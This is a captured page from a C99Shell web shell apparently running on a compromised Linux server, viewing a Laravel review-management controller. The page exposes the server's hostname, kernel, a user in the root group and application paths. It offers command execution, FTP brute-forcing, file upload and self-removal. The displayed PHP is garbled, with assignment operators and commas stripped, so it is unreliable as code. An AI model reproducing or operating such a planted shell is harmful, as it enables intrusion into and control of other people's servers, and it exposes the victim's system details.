!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/Review/Http/Controllers/   drwxr-xr-x
Free 28.32 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReviewController.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Review\Http\Controllers;

use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\Ad\Entities\Ad;
use 
Modules\Review\Entities\Review;

class 
ReviewController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(Request $request)
    {
        
abort_if(! userCan('review.view'), 403);
        try {

            
$customers User::all();
            
$products Ad::all();

            
$reviews_query Review::query();

            if (
$request->has('customer') && ! is_null($request->customer)) {
                
$reviews_query->where('user_id'$request->customer);
            }

            if (
$request->has('product') && ! is_null($request->product)) {
                
$reviews_query->where('product_id'$request->product);
            }

            if (
$request->has('stars') && ! is_null($request->stars)) {
                
$reviews_query->where('stars'$request->stars);
            }

            if (
$request->has('sort_by') && ! is_null($request->sort_by)) {
                
$request->sort_by == 'latest' $reviews_query->latest('id') : $reviews_query->oldest('id');
            }

            
$reviews $reviews_query->paginate(10);

            return 
view('review::index'compact('reviews''customers''products'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Review $review)
    {
        
abort_if(! userCan('review.delete'), 403);

        try {
            
$review->delete();

            
flashSuccess('Review Deleted Successfully');

            return 
back();
        } catch (
\Exception $e) {
            
flashError();

            return 
back();
        }
    }

    public function 
statusChange(Request $request)
    {
        
abort_if(! userCan('review.update'), 403);

        try {
            
Review::findOrFail($request->id)->update([
                
'status' => $request->status,
            ]);

            if (
$request->status == 1) {
                return 
responseSuccess('Review Active Successfully');
            } else {
                return 
responseSuccess('Review Inactive Successfully');
            }
        } catch (
\Throwable $th) {
            return 
responseError();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--